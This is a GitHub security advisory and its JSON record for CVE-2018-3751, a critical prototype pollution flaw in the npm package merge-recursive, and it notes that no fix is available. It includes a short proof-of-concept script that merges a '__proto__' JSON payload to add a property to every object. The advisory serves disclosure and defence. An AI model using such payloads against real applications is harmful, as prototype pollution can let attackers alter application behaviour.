GHSA-CVXM-F295-X957

Vulnerability from github – Published: 2018-09-18 13:46 – Updated: 2023-09-12 18:47
VLAI?
Summary
Prototype Pollution in merge-recursive
Details

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

Severity ?
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "merge-recursive"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-3751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:01Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.\n\nProof of concept:\n\n```js\nvar merge = require(\u0027merge-recursive\u0027).recursive;\nvar malicious_payload = \u0027{\"__proto__\":{\"oops\":\"It works !\"}}\u0027;\n\nvar a = {};\nconsole.log(\"Before : \" + a.oops);\nmerge({}, JSON.parse(malicious_payload));\nconsole.log(\"After : \" + a.oops);\n```\n\n\n## Recommendation\n\nThere is currently no fix available. ",
  "id": "GHSA-cvxm-f295-x957",
  "modified": "2023-09-12T18:47:20Z",
  "published": "2018-09-18T13:46:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3751"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/311337"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cvxm-f295-x957"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/715"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in merge-recursive"
}


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